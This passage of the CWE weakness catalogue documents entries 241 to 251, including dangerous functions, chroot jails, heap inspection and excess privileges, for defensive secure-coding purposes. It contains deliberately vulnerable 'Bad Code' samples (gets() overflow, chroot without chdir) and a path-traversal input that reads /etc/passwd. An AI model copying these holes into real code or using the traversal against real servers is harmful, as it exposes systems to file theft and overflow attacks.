## CWE-241: Improper Handling of Unexpected Data Type

Weakness ID: 241 (*Weakness Base*)

Status: Draft

### Description

#### Summary

The software does not handle or incorrectly handles when a particular element is not the expected type, e.g. it expects a digit (0-9) but is provided with a letter (A-Z).

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences



**Integrity****Other****Varies by context****Unexpected state****Observed Examples**

Reference	Description
CVE-1999-1156	FTP server crash via PORT command with non-numeric character.
CVE-2004-0270	Anti-virus product has assert error when line length is non-numeric.

**Potential Mitigations****Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.






When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		228	Improper Handling of Syntactically Invalid Structure	 699	420
ChildOf		743	CERT C Secure Coding Section 09 - Input Output (FIO)	734	1135
ChildOf		877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1315
ChildOf		993	SFP Secondary Cluster: Incorrect Input Handling	888	1391

**Research Gaps**

Probably under-studied.

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Wrong Data Type
CERT C Secure Coding	FIO37-C	Do not assume character data has been read
CERT C++ Secure Coding	FIO37-CPP	Do not assume character data has been read

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
48	Passing Local Filenames to Functions That Expect a URL	

## CWE-242: Use of Inherently Dangerous Function

Weakness ID: 242 (Weakness Base)

Status: Draft

**Description****Summary**

The program calls a function that can never be guaranteed to work safely.

### Extended Description

Certain functions behave in dangerous ways regardless of how they are used. Functions in this category were often implemented without taking security concerns into account. The `gets()` function is unsafe because it does not perform bounds checking on the size of its input. An attacker can easily send arbitrarily-sized input to `gets()` and overflow the destination buffer. Similarly, the `>>` operator is unsafe to use when reading into a statically-allocated character array because it does not perform bounds checking on the size of its input. An attacker can easily send arbitrarily-sized input to the `>>` operator and overflow the destination buffer.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- C
- C++

### Common Consequences

#### Other

#### Varies by context

### Likelihood of Exploit

High

### Demonstrative Examples

#### Example 1:

The code below calls `gets()` to read information into a buffer.

#### C Example:

*Bad Code*

```
char buf[BUFSIZE];
gets(buf);
```

The `gets()` function in C is inherently unsafe.

#### Example 2:

The code below calls the `gets()` function to read in data from the command line.

#### C Example:

*Bad Code*

```
char buf[24];
printf("Please enter your name and press <Enter>\n");
gets(buf);
...
}
```

However, the programmer uses the function `gets()` which is inherently unsafe because it blindly copies all input from STDIN to the buffer without checking size. This allows the user to provide a string that is larger than the buffer size, resulting in an overflow condition.

### Potential Mitigations

#### Implementation

#### Requirements

Ban the use of dangerous functions. Use their safe equivalent.




#### Testing

Use `grep` or static analysis tools to spot usage of dangerous functions.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	✓	Page
CanPrecede		120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	1000	234
ChildOf		227	Improper Fulfillment of API Contract ('API Abuse')	<b>699</b> <b>700</b>	418
ChildOf		710	Coding Standards Violation	<b>1000</b>	1109

Nature	Type	ID	Name	✓	Page
ChildOf	<b>C</b>	748	CERT C Secure Coding Section 50 - POSIX (POS)	<b>734</b>	1137
ChildOf	<b>C</b>	1001	SFP Secondary Cluster: Use of an Improper API	<b>888</b>	1403

### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Dangerous Functions
CERT C Secure Coding	POS33-C	Do not use vfork()
Software Fault Patterns	SFP3	Use of an improper API

### References

Herbert Schildt. "Herb Schildt's C++ Programming Cookbook". Chapter 5. Working with I/O. McGraw-Hill Osborne Media. 2008-04-28.

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 5, "gets and fgets" Page 163. 2nd Edition. Microsoft. 2002.

## CWE-243: Creation of chroot Jail Without Changing Working Directory

Weakness ID: 243 (Weakness Variant)

Status: Draft

### Description

#### Summary

The program uses the chroot() system call to create a jail, but does not change the working directory afterward. This does not prevent access to files outside of the jail.

#### Extended Description

Improper use of chroot() may allow attackers to escape from the chroot jail. The chroot() function call does not change the process's current working directory, so relative paths may still refer to file system resources outside of the chroot jail after chroot() has been called.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- C
- C++

#### Operating Systems

- UNIX

### Common Consequences

#### Confidentiality

#### Read files or directories

### Likelihood of Exploit

High

### Demonstrative Examples

Consider the following source code from a (hypothetical) FTP server:

#### C Example:

Bad Code

```
chroot("/var/ftproot");
...
fgets(filename, sizeof(filename), network);
localfile = fopen(filename, "r");
while ((len = fread(buf, 1, sizeof(buf), localfile)) != EOF) {
    fwrite(buf, 1, sizeof(buf), network);
}
fclose(localfile);
```

This code is responsible for reading a filename from the network, opening the corresponding file on the local machine, and sending the contents over the network. This code could be used to implement the FTP GET command. The FTP server calls `chroot()` in its initialization routines in an attempt to prevent access to files outside of `/var/ftproot`. But because the server does not change the current working directory by calling `chdir("/")`, an attacker could request the file `"../..../etc/passwd"` and obtain a copy of the system password file.

### Background Details

The `chroot()` system call allows a process to change its perception of the root directory of the file system. After properly invoking `chroot()`, a process cannot access any files outside the directory tree defined by the new root directory. Such an environment is called a `chroot jail` and is commonly used to prevent the possibility that a processes could be subverted and used to access unauthorized files. For instance, many FTP servers run in `chroot jails` to prevent an attacker who discovers a new vulnerability in the server from being able to download the password file or other sensitive files on the system.

### Weakness Ordinalities

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		227	Improper Fulfillment of API Contract ('API Abuse')	<b>699</b> <b>700</b>	418
ChildOf		573	Improper Following of Specification by Caller	1000	910
ChildOf		632	Weaknesses that Affect Files or Directories	<b>631</b>	981
ChildOf		669	Incorrect Resource Transfer Between Spheres	<b>1000</b>	1036
ChildOf		979	SFP Secondary Cluster: Failed Chroot Jail	<b>888</b>	1383

### Affected Resources

- File/Directory

### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Directory Restriction
Software Fault Patterns	SFP17	Failed chroot jail

## CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection')

Weakness ID: 244 (Weakness Variant)

Status: Draft

### Description

#### Summary

Using `realloc()` to resize buffers that store sensitive information can leave the sensitive information exposed to attack, because it is not removed from memory.

#### Extended Description

When sensitive data such as a password or an encryption key is not removed from memory, it could be exposed to an attacker using a "heap inspection" attack that reads the sensitive data using memory dumps or other methods. The `realloc()` function is commonly used to increase the size of a block of allocated memory. This operation often requires copying the contents of the old memory block into a new and larger block. This operation leaves the contents of the original block intact but inaccessible to the program, preventing the program from being able to scrub sensitive data from memory. If an attacker can later examine the contents of a memory dump, the sensitive data could be exposed.

### Time of Introduction

- Implementation

### Applicable Platforms

## Languages

- C
- C++

## Common Consequences

### Confidentiality

### Other

### Read memory

### Other

Be careful using `vfork()` and `fork()` in security sensitive code. The process state will not be cleaned up and will contain traces of data from past use.

## Demonstrative Examples

The following code calls `realloc()` on a buffer containing sensitive data:

### C Example:

*Bad Code*

```
cleartext_buffer = get_secret();...
cleartext_buffer = realloc(cleartext_buffer, 1024);
...
scrub_memory(cleartext_buffer, 1024);
```

There is an attempt to scrub the sensitive data from memory, but `realloc()` is used, so a copy of the data can still be exposed in the memory originally allocated for `cleartext_buffer`.

## Relationships

Nature	Type	ID	Name	CV	Page
ChildOf	B	226	Sensitive Information Uncleared Before Release	1000	417
ChildOf	G	227	Improper Fulfillment of API Contract ('API Abuse')	699 700	418
ChildOf	C	633	Weaknesses that Affect Memory	631	981
CanPrecede	G	669	Incorrect Resource Transfer Between Spheres	1000	1036
ChildOf	C	742	CERT C Secure Coding Section 08 - Memory Management (MEM)	734	1134
ChildOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1314
ChildOf	C	963	SFP Secondary Cluster: Exposed Data	888	1377
MemberOf	V	630	Weaknesses Examined by SAMATE	630	980
MemberOf	V	884	CWE Cross-section	884	1319

## Affected Resources

- Memory

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Heap Inspection
CERT C Secure Coding	MEM03-C	Clear sensitive information stored in reusable resources returned for reuse
CERT C++ Secure Coding	MEM03-CPP	Clear sensitive information stored in returned reusable resources
Software Fault Patterns	SFP23	Exposed Data

## White Box Definitions

A weakness where code path has:

1. start statement that stores information in a buffer
2. end statement that resize the buffer and
3. path does not contain statement that performs cleaning of the buffer

# CWE-245: J2EE Bad Practices: Direct Management of Connections

Weakness ID: 245 (Weakness Variant)

Status: Draft

**Description****Summary**

The J2EE application directly manages connections, instead of using the container's connection management facilities.

**Extended Description**

The J2EE standard forbids the direct management of connections. It requires that applications use the container's resource management facilities to obtain connections to resources. Every major web application container provides pooled database connection management as part of its resource management framework. Duplicating this functionality in an application is difficult and error prone, which is part of the reason it is forbidden under the J2EE standard.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms****Languages**

- Java

**Common Consequences****Other****Quality degradation****Demonstrative Examples**

In the following example, the class `DatabaseConnection` opens and manages a connection to a database for a J2EE application. The method `openDatabaseConnection` opens a connection to the database using a `DriverManager` to create the `Connection` object `conn` to the database specified in the string constant `CONNECT_STRING`.

**Java Example:***Bad Code*

```
public class DatabaseConnection {
    private static final String CONNECT_STRING = "jdbc:mysql://localhost:3306/mysqlpdb";
    private Connection conn = null;
    public DatabaseConnection() {
    }
    public void openDatabaseConnection() {
        try {
            conn = DriverManager.getConnection(CONNECT_STRING);
        } catch (SQLException ex) {...}
    }
    // Member functions for retrieving database connection and accessing database
    ...
}
```

The use of the `DriverManager` class to directly manage the connection to the database violates the J2EE restriction against the direct management of connections. The J2EE application should use the web application container's resource management facilities to obtain a connection to the database as shown in the following example.

*Good Code*

```
public class DatabaseConnection {
    private static final String DB_DATASRC_REF = "jdbc:mysql://localhost:3306/mysqlpdb";
    private Connection conn = null;
    public DatabaseConnection() {
    }
    public void openDatabaseConnection() {
        try {
            InitialContext ctx = new InitialContext();
            DataSource datasource = (DataSource) ctx.lookup(DB_DATASRC_REF);
            conn = datasource.getConnection();
        } catch (NamingException ex) {...}
        } catch (SQLException ex) {...}
    }
    // Member functions for retrieving database connection and accessing database
    ...
}
```

}

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	✓	Page
ChildOf	G	227	Improper Fulfillment of API Contract ('API Abuse')	699	418
ChildOf	B	695	Use of Low-Level Functionality	700	1077
ChildOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1403

### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		J2EE Bad Practices: getConnection()
Software Fault Patterns	SFP3	Use of an improper API

## CWE-246: J2EE Bad Practices: Direct Use of Sockets

Weakness ID: 246 (Weakness Variant)

Status: Draft

### Description

#### Summary

The J2EE application directly uses sockets instead of using framework method calls.

#### Extended Description

The J2EE standard permits the use of sockets only for the purpose of communication with legacy systems when no higher-level protocol is available. Authoring your own communication protocol requires wrestling with difficult security issues.

Without significant scrutiny by a security expert, chances are good that a custom communication protocol will suffer from security problems. Many of the same issues apply to a custom implementation of a standard protocol. While there are usually more resources available that address security concerns related to implementing a standard protocol, these resources are also available to attackers.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- Java

### Common Consequences

#### Other

#### Quality degradation

### Demonstrative Examples

The following example opens a socket to connect to a remote server.

#### Java Example:

Bad Code

```
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    // Perform servlet tasks.
    ...
    // Open a socket to a remote server (bad).
    Socket sock = null;
    try {
        sock = new Socket(remoteHostname, 3000);
        // Do something with the socket.
        ...
    } catch (Exception e) {
        ...
    }
}
```



}

A Socket object is created directly within the Java servlet, which is a dangerous way to manage remote connections.

### Potential Mitigations




#### Architecture and Design

Use framework method calls instead of using sockets directly.

### Weakness Ordinalities

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		227	Improper Fulfillment of API Contract ('API Abuse')	<b>699</b> <b>700</b>	418
ChildOf		695	Use of Low-Level Functionality	<b>1000</b>	1077
ChildOf		1001	SFP Secondary Cluster: Use of an Improper API	<b>888</b>	1403

### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		J2EE Bad Practices: Sockets
Software Fault Patterns	SFP3	Use of an improper API

## CWE-247: DEPRECATED (Duplicate): Reliance on DNS Lookups in a Security Decision

Weakness ID: 247 (Deprecated Weakness Base)

Status: Deprecated

### Description

#### Summary

This entry has been deprecated because it was a duplicate of CWE-350. All content has been transferred to CWE-350.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP29	Faulty endpoint authentication

## CWE-248: Uncaught Exception

Weakness ID: 248 (Weakness Base)

Status: Draft

### Description

#### Summary

An exception is thrown from a function, but it is not caught.

#### Extended Description

When an exception is not caught, it may cause the program to crash or expose sensitive information.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- C++
- Java
- .NET

### Common Consequences

**Availability****Confidentiality****DoS: crash / exit / restart****Read application data**

An uncaught exception could cause the system to be placed in a state that could lead to a crash, exposure of sensitive information or other unintended behaviors.

**Demonstrative Examples****Example 1:**

The following example attempts to resolve a hostname.

**Java Example:***Bad Code*

```
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
    String ip = req.getRemoteAddr();
    InetAddress addr = InetAddress.getByName(ip);
    ...
    out.println("hello " + addr.getHostName());
}
```

A DNS lookup failure will cause the Servlet to throw an exception.









**Example 2:**

The `_alloca()` function allocates memory on the stack. If an allocation request is too large for the available stack space, `_alloca()` throws an exception. If the exception is not caught, the program will crash, potentially enabling a denial of service attack. `_alloca()` has been deprecated as of Microsoft Visual Studio 2005(R). It has been replaced with the more secure `_alloca_s()`.

**Example 3:**

`EnterCriticalSection()` can raise an exception, potentially causing the program to crash. Under operating systems prior to Windows 2000, the `EnterCriticalSection()` function can raise an exception in low memory situations. If the exception is not caught, the program will crash, potentially enabling a denial of service attack.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		227	Improper Fulfillment of API Contract ('API Abuse')	<input checked="" type="checkbox"/>	699 700
ChildOf		389	Error Conditions, Return Values, Status Codes		699 670
ChildOf		703	Improper Check or Handling of Exceptional Conditions		1000 1102
ChildOf		705	Incorrect Control Flow Scoping		1000 1105
ChildOf		730	OWASP Top Ten 2004 Category A9 - Denial of Service		711 1120
ChildOf		851	CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)		844 1294
ChildOf		962	SFP Secondary Cluster: Unchecked Status Condition		888 1376
ParentOf		600	Uncaught Exception in Servlet		1000 941
MemberOf	<input checked="" type="checkbox"/>	884	CWE Cross-section		884 1319

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Often Misused: Exception Handling
CERT Java Secure Coding	ERR05-J	Do not let checked exceptions escape from a finally block
CERT Java Secure Coding	ERR06-J	Do not throw undeclared checked exceptions
Software Fault Patterns	SFP4	Unchecked Status Condition

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
54	Probe Application Error Reporting	

## CWE-249: DEPRECATED: Often Misused: Path Manipulation

**Weakness ID:** 249 (*Deprecated Weakness Variant*)**Status:** Deprecated**Description****Summary**

This entry has been deprecated because of name confusion and an accidental combination of multiple weaknesses. Most of its content has been transferred to CWE-785.

**Maintenance Notes**

This entry was deprecated for several reasons. The primary reason is over-loading of the "path manipulation" term and the description. The original description for this entry was the same as that for the "Often Misused: File System" item in the original Seven Pernicious Kingdoms paper. However, Seven Pernicious Kingdoms also has a "Path Manipulation" phrase that is for external control of pathnames (CWE-73), which is a factor in symbolic link following and path traversal, neither of which is explicitly mentioned in 7PK. Fortify uses the phrase "Often Misused: Path Manipulation" for a broader range of problems, generally for issues related to buffer management. Given the multiple conflicting uses of this term, there is a chance that CWE users may have incorrectly mapped to this entry.

The second reason for deprecation is an implied combination of multiple weaknesses within buffer-handling functions. The focus of this entry has generally been on the path-conversion functions and their association with buffer overflows. However, some of Fortify's Vulncat entries have the term "path manipulation" but describe a non-overflow weakness in which the buffer is not guaranteed to contain the entire pathname, i.e., there is information truncation (see CWE-222 for a similar concept). A new entry for this non-overflow weakness may be created in a future version of CWE.

**CWE-250: Execution with Unnecessary Privileges****Weakness ID:** 250 (*Weakness Class*)**Status:** Draft**Description****Summary**

The software performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses.

**Extended Description**

New weaknesses can be exposed because running with extra privileges, such as root or Administrator, can disable the normal security checks being performed by the operating system or surrounding environment. Other pre-existing weaknesses can turn into security vulnerabilities if they occur while operating at raised privileges.

Privilege management functions can behave in some less-than-obvious ways, and they have different quirks on different platforms. These inconsistencies are particularly pronounced if you are transitioning from one non-root user to another. Signal handlers and spawned processes run at the privilege of the owning process, so if a process is running as root when a signal fires or a sub-process is executed, the signal handler or sub-process will operate with root privileges.

**Time of Introduction**

- Installation
- Architecture and Design
- Operation

**Applicable Platforms****Languages**

- Language-independent

**Architectural Paradigms**

- Mobile Application

**Modes of Introduction**

If an application has this design problem, then it can be easier for the developer to make implementation-related errors such as CWE-271 (Privilege Dropping / Lowering Errors). In addition, the consequences of Privilege Chaining (CWE-268) can become more severe.

**Common Consequences**

**Confidentiality****Integrity****Availability****Access Control****Gain privileges / assume identity****Execute unauthorized code or commands****Read application data****DoS: crash / exit / restart**

An attacker will be able to gain access to any resources that are allowed by the extra privileges. Common results include executing code, disabling services, and reading restricted data.

**Likelihood of Exploit**

Medium

**Detection Methods****Manual Analysis**

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

**Black Box**

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and perform a login. Look for library functions and system calls that indicate when privileges are being raised or dropped. Look for accesses of resources that are restricted to normal users.

Note that this technique is only useful for privilege issues related to system resources. It is not likely to detect application-level business rules that are related to privileges, such as if a blog system allows a user to delete a blog entry without first checking that the user has administrator privileges.

**Automated Static Analysis - Binary / Bytecode****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Compare binary / bytecode to application permission manifest

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

**Manual Static Analysis - Binary / Bytecode****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

**Dynamic Analysis with automated results interpretation****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Host-based Vulnerability Scanners – Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

**Dynamic Analysis with manual results interpretation****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Host Application Interface Scanner

**Manual Static Analysis - Source Code****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

**Automated Static Analysis - Source Code****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

**Automated Static Analysis****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Configuration Checker

Permission Manifest Analysis

**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Attack Modeling

**Demonstrative Examples****Example 1:**

This code temporarily raises the program's privileges to allow creation of a new user folder.

**Python Example:***Bad Code*

```
def makeNewUserDir(username):
    if invalidUsername(username):
        #avoid CWE-22 and CWE-78
        print('Usernames cannot contain invalid characters')
        return False
    try:
        raisePrivileges()
        os.mkdir('/home/' + username)
        lowerPrivileges()
    except OSError:
        print('Unable to create new user directory for user:' + username)
        return False
    return True
```

While the program only raises its privilege level to create the folder and immediately lowers it again, if the call to `os.mkdir()` throws an exception, the call to `lowerPrivileges()` will not occur. As a result, the program is indefinitely operating in a raised privilege state, possibly allowing further exploitation to occur.

**Example 2:**

The following code calls `chroot()` to restrict the application to a subset of the filesystem below `APP_HOME` in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.

**C Example:***Bad Code*

```
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...
```

Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to `setuid()` with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.

**Example 3:**

This application intends to use a user's location to determine the timezone the user is in:

**Java Example:***Bad Code*

```
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
setTimeZone(userCurrLocation);
```

This is unnecessary use of the location API, as this information is already available using the Android Time API. Always be sure there is not another way to obtain needed information before resorting to using the location API.

**Example 4:**

This code uses location to determine the user's current US State location.

First the application must declare that it requires the `ACCESS_FINE_LOCATION` permission in the application's `manifest.xml`:

**XML Example:***Bad Code*

```
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
```

During execution, a call to `getLastLocation()` will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:

**Java Example:***Bad Code*

```
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
deriveStateFromCoords(userCurrLocation);
```

While the application needs this information, it does not need to use the `ACCESS_FINE_LOCATION` permission, as the `ACCESS_COARSE_LOCATION` permission will be sufficient to identify which US state the user is in.

**Observed Examples**

Reference	Description
CVE-2007-3931	Installation script installs some programs as <code>setuid</code> when they shouldn't be.
CVE-2007-4217	FTP client program on a certain OS runs with <code>setuid</code> privileges and has a buffer overflow. Most clients do not need extra privileges, so an overflow is not a vulnerability for those clients.
CVE-2007-5159	OS incorrectly installs a program with <code>setuid</code> privileges, allowing users to gain privileges.
CVE-2008-0162	Program does not drop privileges before calling another program, allowing code execution.



Reference	Description
CVE-2008-0368	setuid root program allows creation of arbitrary files through command line argument.
CVE-2008-1877	Program runs with privileges and calls another program with the same privileges, which allows read of arbitrary files.
CVE-2008-4638	Composite: application running with high privileges allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file.

## Potential Mitigations

### Architecture and Design

#### Operation

#### Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.250.2]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

### Architecture and Design

#### Separation of Privilege

#### Identify and Reduce Attack Surface

Identify the functionality that requires additional privileges, such as access to privileged operating system resources. Wrap and centralize this functionality if possible, and isolate the privileged code as much as possible from other code [R.250.2]. Raise privileges as late as possible, and drop them as soon as possible to avoid CWE-271. Avoid weaknesses such as CWE-288 and CWE-420 by protecting all possible communication channels that could interact with the privileged code, such as a secondary socket that is only intended to be accessed by administrators.

#### Implementation

Perform extensive input validation for any privileged code that must be exposed to the user and reject anything that does not fit your strict requirements.

#### Implementation

When dropping privileges, ensure that they have been dropped successfully to avoid CWE-273. As protection mechanisms in the environment get stronger, privilege-dropping calls may fail even if it seems like they would always succeed.

#### Implementation

If circumstances force you to run with extra privileges, then determine the minimum access level necessary. First identify the different permissions that the software and its users will need to perform their actions, such as file read and write permissions, network socket permissions, and so forth. Then explicitly allow those actions while denying all else [R.250.2]. Perform extensive input validation and canonicalization to minimize the chances of introducing a separate vulnerability. This mitigation is much more prone to error than dropping the privileges in the first place.






#### Operation

#### System Configuration

#### Environment Hardening

Ensure that the software runs properly under the Federal Desktop Core Configuration (FDCC) [R.250.4] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		227	Improper Fulfillment of API Contract ('API Abuse')	<b>699</b> <b>700</b>	418
ChildOf		265	Privilege / Sandbox Issues	699	469
ChildOf		269	Improper Privilege Management	1000	477
ChildOf		657	Violation of Secure Design Principles	699 <b>1000</b>	1017
ChildOf		753	2009 Top 25 - Porous Defenses	<b>750</b>	1143



Nature	Type	ID	Name	ⓧ	Page
ChildOf	<b>C</b>	815	OWASP Top Ten 2010 Category A6 - Security Misconfiguration	<b>809</b>	1247
ChildOf	<b>C</b>	858	CERT Java Secure Coding Section 13 - Serialization (SER)	<b>844</b>	1297
ChildOf	<b>C</b>	866	2011 Top 25 - Porous Defenses	<b>900</b>	1309
ChildOf	<b>C</b>	901	SFP Primary Cluster: Privilege	<b>888</b>	1328
MemberOf	<b>V</b>	884	CWE Cross-section	<b>884</b>	1319

### Relationship Notes

There is a close association with CWE-653 (Insufficient Separation of Privileges). CWE-653 is about providing separate components for each privilege; CWE-250 is about ensuring that each component has the least amount of privileges possible.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Often Misused: Privilege Management
CERT Java Secure Coding	SER09-J	Minimize privileges before deserializing from a privilege context

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
69	Target Programs with Elevated Privileges	
104	Cross Zone Scripting	
470	Expanding Control over the Operating System from the Database	

### References

- Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. September, 1975. < <http://web.mit.edu/Saltzer/www/publications/protection/> >.
- [REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. < <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html> >.
- [REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 7, "Running with Least Privilege" Page 207. 2nd Edition. Microsoft. 2002.
- [REF-24] NIST. "Federal Desktop Core Configuration". < <http://nvd.nist.gov/fdcc/index.cfm> >.
- [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 16: Executing Code With Too Much Privilege." Page 243. McGraw-Hill. 2010.
- [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Privilege Vulnerabilities", Page 477.. 1st Edition. Addison Wesley. 2006.

### Maintenance Notes

CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category. Both CWE-272 and CWE-250 are in active use by the community. The "least privilege" phrase has multiple interpretations.

## CWE-251: Often Misused: String Management

Category ID: 251 (Category) Status: Incomplete

### Description

#### Summary

Functions that manipulate strings encourage buffer overflows.

### Applicable Platforms

#### Languages

- C
- C++

### Demonstrative Examples

Windows provides the `_mbs` family of functions to perform various operations on multibyte strings. When these functions are passed a malformed multibyte string, such as a string containing a valid leading byte followed by a single null byte, they can read or write past the end of the string buffer causing a buffer overflow. The following functions all pose a risk of buffer overflow: `_mbsinc`

\_mbsdec \_mbsncat \_mbsncpy \_mbsnextc \_mbsnset \_mbsrev \_mbsset \_mbsstr \_mbstok \_mbccpy  
\_mbslen

### Relationships

Nature	Type	ID	Name		Page
ChildOf		133	String Errors		699 277
ChildOf		227	Improper Fulfillment of API Contract ('API Abuse')		<b>699</b> 418 <b>700</b>
ChildOf		633	Weaknesses that Affect Memory		<b>631</b> 981
MemberOf		630	<i>Weaknesses Examined by SAMATE</i>		<b>630</b> 980

### Affected Resources

- Memory

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Often Misused: Strings

### White Box Definitions

